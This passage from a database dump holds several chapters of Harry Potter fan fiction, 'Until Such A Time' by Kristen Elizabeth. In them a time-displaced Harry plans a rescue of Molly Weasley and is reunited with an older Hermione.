be,&quot; she finished dully. &quot;I know.&quot; A minute passed.\n&quot;There\'s a problem.&quot; <br>\n<br>\nHarry shot a look around at his old friends. &quot;A problem?&quot; <br>\n<br>\nEmma nodded, suddenly miserable. &quot;You see...I haven\'t figured out how to\nreverse the spell...and return someone to their normal time.&quot; She chewed\nher lower lip for a second. &quot;Not exactly, anyway.&quot; <br>\n<br>\n&quot;Oh, Emma...&quot; Lupin\'s forehead wrinkled in disappointment. &quot;I\nknow for a fact that your mother has taught you better than that.&quot; <br>\n<br>\nThe girl lowered her head. &quot;I\'m sorry.&quot; She sniffed and snuck a quick\npeek at Harry. &quot;I\'m so sorry. I just...wanted to help. You were right. I\ndidn\'t plan; I just acted.&quot; Emma looked back down. &quot;I\'m\nsorry...everyone!&quot; With a sob, she broke free of the crowd and ran for the\nsolitude of the tents. <br>\n<br>\nHarry made a motion to follow her, but the sound of water splashing in the\nlagoon immediately stole the group\'s attention. A head surfaced; the man\nattached to it wasted no time kicking for the shore. <br>\n<br>\n&quot;George?!&quot; Fred ran to the water\'s edge as his identical brother came\ncloser. <br>\n<br>\nNext to Harry, Neville tugged at his sweater\'s sleeve, worried. &quot;I have a\nbad feeling about this.&quot; <br>\n<br>\nThe twins embraced when George managed to drag himself to his feet; it was\nuncanny...they had each dressed that morning a couple hundred miles away from\neach other, but they had somehow both put on khaki pants and navy blue pullover\nshirts. <br>\n<br>\nWith Fred\'s help, George approached the group. &quot;I have...bad news.&quot;\nHis troubled eyes landed on Harry and blinked several times in rapid\nsuccession. &quot;Did my charm not work? Have I died and gone to the better\nplace?&quot; he asked. <br>\n<br>\n&quot;It\'s Harry from the past,&quot; Fred explained. &quot;Tell him \'hello.\'\nHe\'s been through a lot today.&quot; <br>\n<br>\nGeorge seemed to accept this without further scrutiny. &quot;Hello, mate.\nWelcome back.&quot; He wiped his wet face with his hand and refocused.\n&quot;It\'s what we feared,&quot; he said straight to Lupin. <br>\n<br>\nThe older man instantly paled. &quot;God no...&quot;<br>\n<br>\n&quot;It happened late this afternoon. When I got there, she was gone and Dad\nwas unconscious.&quot; There was a general wave of panic and concern at this.\nPercy and Charlie\'s both balled up their fists so tightly that Harry was afraid\nhe might see blood soon. George went on, &quot;When he came to, he told me that\nRon has her. He\'s figured it out, Remus.&quot; <br>\n<br>\n&quot;So it would seem,&quot; Lupin said, rubbing a shaking hand across his\nforehead. <br>\n<br>\nHarry shook his head. &quot;Who are we talking about? What\'s Ron done?&quot;<br>\n<br>\nLong looks shot back and forth between the Order members. After a minute, Percy\ntook it upon himself to step forward. &quot;It\'s...our mother, Harry. Ron\'s\ntaken her to Voldemort.&quot;<br>\n<br>\n&quot;But...why?&quot;<br>\n<br>\nSighing, Lupin put a hand on Harry\'s shoulder. &quot;Molly Weasley...is\nHermione and Emma\'s Secret-Keeper.&quot;<br>\n<br>\n****<br>\n<br>\nTo Be Continued</p>\n\n\n\n\n\n\n'),
	(166, 5, '\n\n\n\n<p class="MsoNormal">Disclaimer: La la la...not mine, not mine, not mine.<br>\n<br>\nAuthor\'s Notes: Yay! Thanks everyone, for reading, reviewing, enjoying! I know\ntime-travel is confusing; trust me...the details are spinning my head, too. But\nby the very right of what it is (time-travel) supsension of disbelief is called\nfor;) Enjoy; this chapter should be longer than the last few! It\'s certainly\nfelt like it\'s taken forever to get out.<br>\n<br>\n****<br>\n<br>\nUntil Such A Time<br>\nby Kristen Elizabeth <br>\n<br>\n****<br>\n<br>\nHarry was already ten feet out into the lagoon and halfway through re-conjuring\nthe Bubble Head Charm before Lupin and Hagrid caught up with him. He tried to\nfight off their protests that he calm down, think clearly and stay where it was\nsafe. Harry was beyond reason. <br>\n<br>\nThe future Ron that he could barely recognize as his oldest friend was now one\nstep closer to his incomprehensible goal of destroying Hermione and Emma. His\nwife...his daughter. Harry lashed out at the Order members who were keeping him\nfrom leaving. &quot;Someone has to warn her! She\'s all alone in the\nhouse!&quot;<br>\n<br>\n&quot;Harry!&quot; Lupin grabbed his shoulders. &quot;You can\'t go off like\nthis. You\'ll only wind up getting spotted. Or worse. I shudder to think what\nVoldemort would do to you a second time around.&quot; <br>\n<br>\n&quot;I don\'t care what happens to me! But I can\'t let anything happen to\nHermione. In any time period.&quot; From the open flap of the tent she had fled\nto moments earlier, Emma watched the confrontation taking place in the water.\nThe bubble around his head muffled his words, but Harry continued, &quot;Just\nlet me go, Remus.&quot;<br>\n<br>\nThe older man shook his head. &quot;And if I do, what then, Harry? Will you\nApparate back to the house and haul Hermione away to safety? If you don\'t\nsucceed in giving her a heart attack, be sure to watch out for her wand. She\'s\nnot daft; she\'ll have the same reaction we all did at first, and she\'ll zap you\ninto oblivion for trying to trick her.&quot; <br>\n<br>\n&quot;\'arry,&quot; Hagrid began. &quot;We not gonna see \'ermione hurt. \'elp us\nthink up a plan.&quot; <br>\n<br>\n&quot;While we\'re thinking up plans, Ron could be knocking on the cottage\'s\ndoor!&quot; Harry replied, harshly. <br>\n<br>\nStill dripping wet, George cupped his hands around his mouth to amplify his\nvoice. &quot;Have faith in our Mum, Harry.&quot; He sneezed suddenly and was\nushered away a second later by his twin and Cho, presumably for dry clothes and\nhot tea. <br>\n<br>\n&quot;He\'s right, Harry. You must have faith in Molly.&quot; Lupin pulled the\nyounger man towards shore. Hagrid placed himself behind Harry to prevent him\nfrom doubling back. &quot;Why do you think we asked her to be the\nSecret-Keeper? Not only is she loyal to the Order and trustworthy beyond all\nmeasure, she\'s Ron\'s mother. Even I don\'t believe that Ron is far gone enough\nto torture his own mother for the Secret, and I\'ve seen some his\nhandiwork.&quot; <br>\n<br>\nHarry trudged out of the water against his will. Fat beads of water dripped off\nthe ends of his hair, running down his face, neck and bare chest. His body\nshivered, but he was not even aware of the cold. All he could think about was\nHermione...both versions of her. The down-trodden forty-something Hermione\nwhose life was suddenly in grave danger and the twenty-something Hermione in\nthe past who might already be grieving for his disappearance. He only hoped\nwhatever she was going through back there wouldn\'t affect the baby she carried.<br>\n<br>\nAs if on cue, Emma approached him. &quot;Father,&quot; she began, hesitant to\nuse the word. &quot;I should be going home anyway before she misses me. We\'ll\nbe all right together. I promise.&quot; <br>\n<br>\n&quot;Emma, I don\'t like the idea of you going above ground alone, even only to\nApparate,&quot; Lupin said, wringing out the edge of his robes.<br>\n<br>\n&quot;I\'ll be fine. I do it all the time.&quot; She chuckled nervously.\n&quot;Can you neglect to pass that on to Mum?&quot;<br>\n<br>\n&quot;Gladly.&quot; Lupin glanced back at Harry. &quot;What do you say about\nher going alone?&quot;<br>\n<br>\nHe blinked and shook his head, sending water drops flying. &quot;I don\'t know.\nShe\'s not my...&quot; Silence swallowed the rest of the sentence. After an\nuncomfortable pause, he picked up with, &quot;I think she\'s capable of taking\ncare of herself.&quot; <br>\n<br>\nIt didn\'t take Divination to sense the immense hurt welling up inside of\nHarry\'s daughter. Lupin could only watch her face crumple and be proud of how,\nseconds later, she managed to pull herself together enough to nod at them all.\n&quot;How much should I tell Mum?&quot; she asked. There was a wobble in her\nvoice still. <br>\n<br>\n&quot;Everything,&quot; Percy replied. &quot;You both need to be prepared for\nthe worst. Pack a few things, be ready to move at a moment\'s...&quot;<br>\n<br>\n&quot;So much for trusting Mum,&quot; Charlie scowled at his younger brother. <br>\n<br>\nPercy returned the look with one of his own. &quot;I trust Mum implicably,\nCharlie. But we\'re talking about her ickle Ronnekins. How long is she going to\nbe able to hold out against him?&quot; <br>\n<br>\n&quot;As long as it takes for us to find her,&quot; he shot back hotly.\n&quot;She knows, better than anyone, that this Ron isn\'t *our* Ron. And that\n*our* Ron...he might never come back!&quot;<br>\n<br>\n&quot;Don\'t say that!&quot; From her place next to one of the campfires,\nLavender shot to her feet. &quot;You never know! He could come to his senses\nsomeday! He could come back to us!&quot; The tears that slid down her cheeks\nsparkled in the fire\'s light. &quot;He could...he really could...&quot;<br>\n<br>\nTwo other women Harry didn\'t recognize rushed to comfort her. Neville hung\nback, his hands in his pockets. With Emma only a foot or so away, Harry turned\nto her. &quot;I was under the impression that Neville and Lavender...&quot;<br>\n<br>\n&quot;They are,&quot; she replied, tightly crossing her arms. &quot;It\'s\njust...as far as I can gather, she always had a thing for *him.*&quot; The way\nthe girl hissed the word entirely gave away the fact that she was not referring\nto Neville. <br>\n<br>\n&quot;They dated in school. Briefly,&quot; Harry recalled out loud. &quot;I\ndidn\'t know she kept caring about...&quot; He sighed, too emotionally drained\nto keep talking. Neville\'s face was colored with jealousy and hurt. Percy and\nCharlie were practically at each other\'s throats. And Ron was the source of\neveryone\'s problems. It was like this world was an evil negative of the one\nfrom which he had been ripped. <br>\n<br>\nSeeming to sense his distress, Emma softly cleared her throat to get his\nattention. &quot;I\'m going to slip out now while everyone\'s busy.&quot; <br>\n<br>\n&quot;Be careful,&quot; Harry instinctively told her. <br>\n<br>\nShe gave him a strange look, as if she wasn\'t sure why he suddenly cared.\n&quot;I\'ll take care of Mum. Or she\'ll take care of me.&quot; The odd\nexpression faded and was replaced by a bright, youthful smile. &quot;We take\ncare of each other.&quot; <br>\n<br>\nHarry was about to reply when the argument near the tents escalated.\n&quot;Percy, don\'t be a prick,&quot; Fred ordered, his voice almost echoing off\nthe cavern walls. &quot;Mum won\'t crack for Ron. Ginny was always her\nfavorite.&quot; <br>\n<br>\n&quot;Things are bad enough. Can you not bring Ginny into this, Fred?&quot;\nGeorge asked. It was, perhaps, the first time he had chastised his twin. <br>\n<br>\n&quot;May she rest in peace,&quot; Lupin offered. &quot;Now is not the time to\nbe fighting, everyone. We need to come up with a plan to retrieve Molly Weasley\nthat\'s both practical and plausible.&quot; <br>\n<br>\nLavender was still in tears. &quot;We shouldn\'t just write Ron off,&quot; she\nhiccuped. <br>\n<br>\n&quot;We\'re not,&quot; one of the women soothed her. &quot;There might still be\na way.&quot; <br>\n<br>\nHagrid sniffed. &quot;Oh...I \'ope so. I surely do. Nuthin\' makes my heart\nsadder than seein\' Ron Weasley like this.&quot; <br>\n<br>\nShaking his head, Neville disappeared into the shadows.<br>\n<br>\nEmma licked her lips. &quot;I\'m going now,&quot; she whispered to Harry. He\nnodded. &quot;And Father...&quot; She paused, her wand out and ready to conjure\nthe necessary charm. &quot;I\'ll find a way to send you back. I don\'t blame\nyou...for not wanting to be here.&quot; She looked down at her shoes.\n&quot;Sometimes I don\'t want to be here either.&quot; <br>\n<br>\nHarry watched her slip silently into the water and disappear below the surface.\nWhen she was gone, he wove his way through the Order members back to the place\nwhere his clothes lay. They were still slightly damp, but he pulled on the\nshirt and robes without complaint. Lupin was the first to notice her absence. &quot;Where\'s\nEmma, Harry?&quot;<br>\n<br>\n&quot;She went to be with her mother,&quot; he replied, fastening the clasp of\nhis cloak. &quot;What\'s the plan?&quot;<br>\n<br>\n****<br>\n****<br>\n<br>\nEighteen years earlier and what seemed like an entire world away, a very\npregnant Hermione paced in front of the large fireplace. Paced was actually the\nwrong word; in her advanced state, it was more like she waddled. Harry had told\nher it was her adorable duck walk, an innocent comment that had almost earned\nhim a night on the sofa until she reasoned that it was only her hormones acting\nout. <br>\n<br>\nHer chin wobbled at the thought of her husband. She took another look at the\ngrandfather clock. Two minutes to midnight. Her gaze drifted to the second\nclock right next to it. A wedding gift from the Weasleys, it was an exact\nreplica of the one that hung in the Burrow, except that only two little\npictures of her and Harry were in it, with a third hand blank and ready for a\npicture of their baby. The hand with her face on it rested in the\n&quot;Home&quot; slot; Harry\'s, however, was &quot;Lost.&quot; <br>\n<br>\nThere was a loud knock on the front door, but it was merely a formality. Ron\nappeared in the parlor a moment later, his robes wet from the light rain that\nhad sprung up. &quot;Hermione.&quot; He approached her. &quot;How are you\nholding up?&quot;<br>\n<br>\n&quot;I\'ll be fine once you tell me that you\'ve found Harry and that he\'s all\nright,&quot; she said, looking up at her friend with intensely troubled eyes. <br>\n<br>\nRon squirmed underneath the stare. &quot;I\'m sorry, Hermione. We haven\'t found\na trace of him. Yet,&quot; he quickly added. &quot;I mean...well...&quot; He\nshook his head. &quot;Bugger all...he\'s got to be somewhere, you know?&quot;<br>\n<br>\nWith one hand covering her belly, Hermione let her shoulders sag a bit. &quot;I\ndon\'t understand. What happened, Ron? Where could he have...why would he leave?\nIt\'s not like him...&quot; <br>\n<br>\n&quot;I don\'t know.&quot; He combed back his wet hair with his fingers.\n&quot;The only thing I can guess is that the bloody head must\'ve been a Portkey\nor something.&quot;<br>\n<br>\n&quot;Then...he could be anywhere.&quot; She took a step back. &quot;Ron. He\nmight not even be in England anymore! Some leftover Death-Eater could have him\nin their cellar! Oh god...&quot; Hermione put her other hand to her mouth.\n&quot;Harry...he could be in pain, Ron. He could be...could be *dying* and\nthere\'s nothing we can do!!&quot; <br>\n<br>\nRon gently grasped her shoulders. &quot;Hermione, calm down. Getting this upset\ncan\'t be good for the baby.&quot; <br>\n<br>\n&quot;I know.&quot; Her eyes closed, but not before twin tears escaped and\nrolled down her cheeks. &quot;That\'s what he\'d say, too.&quot;<br>\n<br>\n&quot;Wherever the shrunken head pulled him to, Harry is entirely capable of\ntaking care of himself. You know that.&quot; <br>\n<br>\nShe nodded shortly. &quot;Of course he is.&quot; Her eyes opened wide.\n&quot;Unless...he was caught off guard. He might not have had time to fight\nback once he appeared...wherever. They might have killed him straight away or\nchained him up to be...&quot; <br>\n<br>\n&quot;Hermione! Stop!&quot; Ron gripped her a little tighter. &quot;If you\nstart thinking the worst...well, it\'s not a good idea, all right? You have to\nstay calm and trust Harry. Not to mention the Ministry. There\'s at least ten\nAurors searching for him, my brothers included.&quot;<br>\n<br>\n&quot;You\'re asking me to think rationally while my husband, who should have\nbeen home six hours ago, has seemingly vanished off the face of the earth\nbefore your very eyes?!?&quot; She quelled her own outburst by moving her hand\nto cup his cheek. &quot;Ron...I\'m sorry. I\'m just so worried about him. I can\'t\neven think straight.&quot; <br>\n<br>\nHe patted her hand. &quot;I know it might seem impossible, but you need to eat\nand sleep. For the baby...you know. Harry will turn up, probably peeved to all\nhell at this silly practical joke someone\'s played on him.&quot; <br>\n<br>\nShe nodded because it was the only thing she could do. &quot;Maybe he\'ll show\nup in the morning.&quot;<br>\n<br>\n&quot;Sure. Of course. It\'s all going to be fine, Hermione.&quot; Ron cleared\nhis throat. &quot;Um...do you want to be alone now? Because...you know...I can\nstay, but I don\'t know how much good I can really...&quot;<br>\n<br>\n&quot;Do you have somewhere to be, Ron?&quot; Her tone was wry. <br>\n<br>\nHe blushed profusely. &quot;I have a...a date with Serafina. But if you need\nme...&quot;<br>\n<br>\n&quot;Oh, call it what it is. A midnight shag session.&quot; Hermione gave his\nshoulder a friendly shove. &quot;Go. Have fun. I\'ll be all right by\nmyself.&quot;<br>\n<br>\n&quot;You\'re certain?&quot; he asked, although his face indicated that he was\ngreatly relieved. When she nodded, he leaned in and kissed her cheek.\n&quot;I\'ll stop by in the morning, or as soon as I know anything more.&quot;\nRon backed up and out the parlor door. &quot;Take care of yourself,\nHermione.&quot; He stuck his head back into the room. &quot;And remember. No\none\'s succeeded in getting rid of Harry Potter yet and I doubt anyone ever\nwill.&quot; <br>\n<br>\nHermione made a face at him. &quot;Your words of comfort are touching,\nRonald.&quot; <br>\n<br>\nHis eyes were apologetic. &quot;Goodnight.&quot; <br>\n<br>\nAfter she heard the front door slam behind him, Hermione stood and stared at\nthe dying fire for a few more long minutes until the short flames turned into\norange embers. After securing the house for the night, she waddled her way into\nthe bedroom she shared with Harry. <br>\n<br>\nThe bed was still unmade from the night before; she found it a nearly\nimpossible task to make it with the huge ball of her stomach in the way.\nSensing that her mother was thinking about her, the baby kicked several times. <br>\n<br>\n&quot;Please not tonight, baby girl,&quot; she pleaded, caressing her belly.\nBut the baby ignored her and moved even more, turning Hermione\'s body into a\nlittle rollercoaster. She sighed. At times like this, when their child seemed\ndetermined to keep her awake for endless hours, all Harry would have to do was\nlay his head onto her stomach and whisper a few words. The sound of her\nfather\'s voice always calmed the baby. <br>\n<br>\nBut he wasn\'t there that night and while Hermione prepared for bed, her child\nkept up a steady round of kicks and punches that would have made a black-belt\nmartial artist proud. Weary from worry, she did her best to ignore the odd\ninternal sensations and slid between the cold sheets. <br>\n<br>\nHer body was programmed to seek Harry\'s warmth; she had to settle for his\npillow instead. Within seconds, it was soaked with her tears. <br>\n<br>\n&quot;Harry,&quot; Hermione whispered into the soft fabric that should have\nbeen supporting his head. &quot;Where are you?&quot;<br>\n<br>\n****<br>\n****<br>\n<br>\n&quot;\'Where is he?\'&quot; Lupin repeated Harry\'s question, his brow furred.\n&quot;What do you mean \'where is he\'? You\'re not seriously thinking that we\nmight storm Voldemort\'s fortress, are you?&quot;<br>\n<br>\n&quot;I\'m not,&quot; Harry clarified. &quot;But you must have some idea where\nRon would have taken his mother.&quot; He looked around at the Order. &quot;Any\nidea?&quot; <br>\n<br>\nSeamus shook his head. &quot;Sorry, mate. We\'ve only ever gotten to play\ndefense. Offense has never been an option.&quot; <br>\n<br>\n&quot;There\'s no intelligence set up or anything?&quot; He ran a hand through\nhis black locks. &quot;I refuse to believe you have no way of monitoring your\nenemy. That\'s just bad tactics.&quot; <br>\n<br>\n&quot;Are you volunteering to go up and have a look around, Harry?&quot;\nNeville broke off a piece of stale bread and threw it into the fire. &quot;Be\nour guest; just watch your back.&quot; <br>\n<br>\nLavender grabbed his hand. &quot;Let\'s not jump all over Harry. He\'s at least\nconsidering every option, something we might think about doing every now\nand...&quot;<br>\n<br>\n&quot;Lavender,&quot; Cho admonished her. <br>\n<br>\n&quot;I\'m only saying,&quot; she continued, pressing the length of her side\nagainst Neville\'s, an unspoken apology if Harry had ever seen one. &quot;And\nnow I\'m done.&quot;<br>\n<br>\nLupin looked back at Harry. &quot;We do have intelligence. Spies were in place\neverywhere...last we heard. But contact with them is so risky. There\'s no real\nway of knowing if they\'re still loyal or still alive.&quot; He hesitated.\n&quot;Some of our old reports indicate that Voldemort might have set up...in\nHogwarts.&quot; <br>\n<br>\n&quot;Hogwarts?&quot; Outrage lit up Harry\'s eyes. &quot;How dare he?! Mocking\neverything Dumbledore stood for...Emma\'s already told me all about the school.\nThis is too much.&quot; He slammed his palm down onto the hard ground and stood\nup. &quot;It sounds like a logical place to start.&quot; <br>\n<br>\n&quot;Come on, Harry.&quot; Across the fire, Fred shook his head against a\nlarge rock that supported him. &quot;I\'d give us better odds on a fortress than\non getting into Hogwarts. He couldn\'t have picked a better spot, eh?&quot;<br>\n<br>\nGeorge shook his head. &quot;Diabolical, he is.&quot;<br>\n<br>\n&quot;It\'s likely the most probable place where Mum might be,&quot; Percy spoke\nup. &quot;But there\'s no way to get in and even if there were, it is still a\nschool full of innocent children. Starting a battle there could be\ndisastrous.&quot;<br>\n<br>\n&quot;I\'d hardly call the childen admitted into Hogwarts these days\n\'innocent\',&quot; Neville muttered. <br>\n<br>\nSeamus frowned. &quot;You\'re a regular ray of sunshine today, Longbottom.&quot;\n<br>\n<br>\n&quot;I just find it...interesting that Harry, the only one of us who could\nconceivably be willing to think the best of Ron, is just about the only one\nwho\'s not looking to redeem him.&quot; He wrenched his hand away from\nLavender\'s and stood up. &quot;Harry...if you\'re going to Hogwarts, I\'m with\nyou.&quot;<br>\n<br>\nSobered by the generally good-natured man\'s outburst, Seamus stood. &quot;So am\nI. Ron\'s gone too far this time. And he\'s too close to his goal now.&quot;<br>\n<br>\nSeveral more people stood, including Charlie, the twins and Cho. Harry looked\naround at the people who remained seated. &quot;We need all the help we can\nget,&quot; he told them. <br>\n<br>\n&quot;It\'s not as simple as you\'re making it out to be, Harry,&quot; Lupin said\nsadly. <br>\n<br>\n&quot;Probably not. But Remus...&quot; Harry adjusted his glasses. &quot;For\neighteen years, you\'ve taken care of my family when I couldn\'t. All the risks\nand sacrifices you must have made...all of you.&quot; He turned around to see\neveryone. &quot;Now Hermione and Emma need you more than ever. Are you going to\nkeep on helping them by helping us?&quot; <br>\n<br>\nMore people stood. Percy and Lavender. Hagrid. And finally, Lupin. He shook his\nhead at Harry. &quot;This might very well be a suicide mission, you know?&quot;\n<br>\n<br>\n&quot;I\'ve already died once,&quot; Harry said, non-chalantly. &quot;It doesn\'t\nseem all that frightening anymore.&quot; <br>\n<br>\n&quot;And everyone else?&quot;<br>\n<br>\nHarry glanced around the rag-tag group of his old friends. &quot;The phoenix\nmight be gone, but the Order still exists. Still, if anyone is unsure, please\ndon\'t think you have to...&quot;<br>\n<br>\n&quot;We\'re sure, Harry,&quot; Cho stated for the whole contingent. &quot;We\'re\ntired of living underground. Offense is sounding awfully promising right\nnow.&quot; <br>\n<br>\nLupin gave in. &quot;We have the big picture of the plan. Now what about the\ndetails? Just how do you intend to get into Hogwarts?&quot; <br>\n<br>\n****<br>\n<br>\nHe Apparated into the parlor of the cottage nearly an hour later. Instantly, he\nregretted the fact that his Invisibility Cloak had been left upstairs in Emma\'s\nroom. Hermione had a habit of staying up late to read by the fire; even\npregnancy hadn\'t been able to break her of that.<br>\n<br>\nFortunately, the parlor was empty. Harry breathed a little sigh of relief and\nbegan his search. He was looking for a single object, Hermione\'s old, battered,\noriginal copy of &quot;Hogwarts: A History.&quot; It had been her bible in\ntheir first few years at school; later on, it became the source of Hermione\'s\ngreatest project, one that she had only shared with Harry. <br>\n<br>\nBecause she had learned the details of the spells and enchantments that guarded\nHogwarts from Muggle eyes and unfriendly intruders when she was only eleven\nyears old, Hermione eventually had turned her attention to another aspect of\nthe castle\'s protection: how to get around it. The last time she had shown him\nher book, right after they were married, she had figured out counter-spells and\ncharms for almost every barrier the school had. They were all scribbled in the\nbook\'s margins in her hasty, but neat cursive. <br>\n<br>\nIt was their best shot at getting into Hogwarts and if she was there, rescuing\nMolly Weasley. When he had thought things through with a clear head, Harry\nrecalled Ron\'s words outside of the cottage at sunset. He hadn\'t known who the\nSecret-Keeper was at that time, but only hours later he had snatched his mother\nout of her home. The only conclusion Harry could draw was that Ron probably\ndidn\'t know it was his mother at all; but he did know that she knew who it was.<br>\n<br>\nAnd that still put Mrs. Weasley in great danger, but let up some of the urgency\nwithin Harry to protect Hermione and Emma. Ron\'s mother had the strongest\nbackbone of any woman Harry had ever known; she needed it to have raised six\nboys. And one girl. <br>\n<br>\nHarry paused as he searched a stack of books next to Hermione\'s old rocking\nchair. Ginny Weasley\'s death...if there had been a beginning of the end, that\nwas probably it. There had been no way of knowing that her first-year\nexperience with Tom Riddle\'s diary and the Chamber of Secrets had created an\ninvisible connection between her and the Dark Lord. As his power had grown weaker\nwith every attack against him and his followers, she had faded away, spending\nher last few minutes on the earth in Harry\'s arms in the Gryffindor common room\nwith the whole of the House looking on in grief and shock. <br>\n<br>\nIt gave him no comfort later to learn that she had always wanted to be there. <br>\n<br>\nHe gave up on the one stack of books and moved to another. The guilt over\nGinny\'s death had eased with every passing year; so much of his absolution had\ncome from Hermione\'s unconditional love. Knowing that Ron\'s family hadn\'t held\nhim responsible had helped, too. But it didn\'t bring Ginny back to the world\nand the people who had loved her. <br>\n<br>\nFinally, he spotted the familiar, highly-worn, embossed spine of Hermione\'s\nfavorite book. Harry pulled out of the stack and smiled triumphantly.\n&quot;Good to see you again, old friend.&quot; He stood, the book in his hand,\nand turned back around to face the fireplace and prepare for Disapparation.<br>\n<br>\nHis heart dropped somewhere around his knees as he came face to face with\nHermione. <br>\n<br>\n****<br>\n<br>\nTo Be Continued</p>\n\n\n\n\n\n\n'),
	(166, 6, '\n\n\n\n<p class="MsoNormal">Disclaimer: Characters not mine, for the hundreth time. JK\nRowling is the creator; we all merely borrow from her. <br>\n<br>\nAuthor\'s Notes: Thank you so much for the last chapter\'s feedback. Yes, my\ncliffhangers are bad; I\'m sorry. I\'m practicing for when I\'m a writer on a TV\ndrama or soap opera;) Fade to commercial... Thanks for hanging on with me,\ndespite them. Or perhaps because of them. Who knows? At any rate, thank you for\nreading and reviewing. <br>\n<br>\nPS: Did you hear that they cast Lupin? A British actor named David Thewlis,\naccording to the report I read from the BBC. I looked him up. He\'s perfect.\nJust FYI;) <br>\n<br>\n****<br>\n<br>\nUntil Such A Time<br>\nby Kristen Elizabeth<br>\n<br>\n****<br>\n<br>\n&quot;Harry?&quot; The word came out on the breathless strands of a whisper.\nHermione didn\'t move; she appeared to be frozen to the spot. But he could see\ntears building up in her wide-open eyes. As he continued to watch the older\nversion of his wife, unable to think of a single thing to say, she blinked and\nlet her tears fall. <br>\n<br>\nHe cursed himself for being so careless. With everything that had happened to\nHermione, she shouldn\'t have to be standing there, going through this\nparticular brand of torture. Setting down the book in his hands, Harry\nswallowed and opened his mouth to say something, anything. <br>\n<br>\nBut she spoke first. With her eyes firmly shut, Hermione shook her head.\n&quot;You\'re not real. You\'re never real. You\'re dead and you\'re not coming\nback to me. When I open my eyes again, I know you won\'t be there. Because I am\n*not* crazy.&quot; <br>\n<br>\n&quot;Hermione...&quot;<br>\n<br>\nShe clapped her hands over her ears. Her brown hair, sadly touched throughout\nwith grey, swung against her frail shoulders. &quot;No...no, you\'re not really\ntalking to me. It\'s all in my head.&quot; She repeated this several times, as\nif to force herself into believing it. <br>\n<br>\nHarry stepped forward and reached for her hands. &quot;You\'re not crazy,&quot;\nhe assured her. Her skin was cold to the touch and she visibly flinched at the\ncontact. &quot;It\'s me.&quot;<br>\n<br>\nHer eyes opened; she looked up at him with watery distrust. &quot;Who are\nyou?&quot; Hermione broke away from him with violent motions. &quot;Why are you\ndoing this to me?!&quot;<br>\n<br>\n&quot;Hermione, it\'s going to take a bit of explanation, but I really am Harry.\nI\'m not trying to fool or trick you, I swear.&quot; He laid his palms against\nhis chest. &quot;I\'m Harry from eighteen years...&quot;<br>\n<br>\n&quot;I don\'t know who you think you are, but coming into my house parading as\nhim is just about the cruelest thing anyone could do.&quot; He watched her whip\nher wand out from inside her bathrobe and point it directly at his face.\n&quot;Now...tell me who you are and how you got in here.&quot; <br>\n<br>\nHarry lifted his hands into the air; Sirius had been right. &quot;You have\nevery right to think I\'m not who I say I am. But please know...&quot; He\nstopped to consider his next words. Just as Emma had been forced to prove\nherself to him, it was now his turn to prove his own identity to the woman he\nloved. &quot;Hermione, do you still have the bikini?&quot;<br>\n<br>\nThe hard corner of her mouth twitched. &quot;The bikini.&quot; <br>\n<br>\n&quot;You know the one I\'m talking about,&quot; he said, looking her straight\nin the eye. &quot;Don\'t tell me I\'m going to have to remind you.&quot; <br>\n<br>\nHer arm wavered, and the twitch in her lip turned into a quiver. &quot;You\'ve\nbeen through my things, too? What gives you the right to...&quot;<br>\n<br>\n&quot;Hermione, it\'s me! I know about the bikini because I\'m the one who talked\nyou into buying it on our honeymoon in Hawaii. And I\'m the only person who\'s\never gotten to see it on you...at least to my knowledge...because we never\nquite made it down to the beach. It\'s blue with little pink flowers...&quot; He\nmoved forward, his hands still in the air. &quot;The ties on the top have been\nmagically sewn back into place more than once.&quot; Harry stopped; the end of\nher wand almost touched the tip of his nose. &quot;I\'m not here to hurt you,\nlove.&quot; <br>\n<br>\nThe wand lowered and her tears reappeared. &quot;You touched me. You\'re not a\nghost?&quot;<br>\n<br>\n&quot;No,&quot; he said softly. &quot;I\'m as alive as you are.&quot; <br>\n<br>\n&quot;Then...that\'s not saying much.&quot; Hermione reached out a tentative\nhand to touch his cheek. &quot;You look like you do in my dreams. Just\nlike...the last time I saw you.&quot; She spoke between soft, choked sobs.\n&quot;How can you...how can you be here?&quot; <br>\n<br>\nUnable to lie to her, Harry gave her a quick review of the day\'s events,\nglossing over Emma\'s involvement. All the while, her cold hand rested on his\ncheek. As his tale drew to a close, he reached up and covered her hand with his\nto warm it. &quot;So...here I am. This wasn\'t how I wanted to see you. I hadn\'t\neven decided if it would be a good idea to see you at all. But...it\'s happened\nand I think we\'re dealing just fine.&quot; He smiled at her.<br>\n<br>\nIt was a smile she hadn\'t seen in eighteen years and one that she had never\nexpected to see again. She had forgotten how his smile lit up his entire face,\nmaking him a thousand times more handsome. His eyes sparkled like rare\nemeralds; his hair was thick, unruly as ever, and shone even in the dim light.\nHe was healthy...youthful...the love of her life. Forever twenty-four in her\nmind and now standing right in front of her once again, not having aged a day.<br>\n<br>\nAll too suddenly, Hermione remembered herself. She pulled her hand back from\nhis smooth cheek and touched her own. She could feel the signs of age that had\nformed in eighteen years. Laugh lines at the corners of her eyes and mouth,\nalthough she had done little laughing since his death. She touched her hair,\npainfully aware of the grey hairs that seemed to multiply every day. Her body\nwas so thin now, almost bony. She was forty-two years old. All too aware of it,\nshe looked down at the floor. <br>\n<br>\n&quot;Hermione?&quot; Harry frowned. &quot;I know this is a lot to take in,\nbut...&quot; She turned around. &quot;Can we at least talk about it? There are\nsome things we need to...&quot;<br>\n<br>\n&quot;How can you even stand looking at me?&quot; she whispered. <br>\n<br>\n&quot;What?&quot;<br>\n<br>\nHermione crossed her arms, hugging her entire frame. &quot;Nothing. Never\nmind.&quot;<br>\n<br>\n&quot;No, you said...&quot; Harry cut himself off. It didn\'t take a smart man\nto figure this problem out. Hermione had always put about as much emphasis onto\nlooks as he did, she perhaps more so because she was a woman at heart. But it\nhad never been an issue for her. Now...there they were. Two very different\nages, at two very different stages of their lives. Truth be told, he had\nnoticed the wrinkles and grey hairs...and he discovered in that moment that\nnone of it mattered. <br>\n<br>\n&quot;Please turn around,&quot; he said, leaving little room for argument. When\nshe finally did so, Harry reached for her chin and lifted it up to meet his\neyes. &quot;You\'re still my Hermione. And...you\'re beautiful.&quot; <br>\n<br>\nWet and warm, her tears cascaded over his fingers. &quot;It shouldn\'t be\npossible...but you are...Harry. Harry.&quot; A moment passed between them. If\nit was all a dream, Hermione could only hope that she wouldn\'t wake up just\nyet. There was something she wanted to do, something she always woke up just\nbefore she got to do. Without hesitating another second, she wound her arms around\nhis neck, nearly crying out at the aching sensation of his body pressing\nagainst hers. &quot;Harry...&quot; She squeezed her eyes shut.\n&quot;Oh...you\'re not a dream either! You\'re really...truly 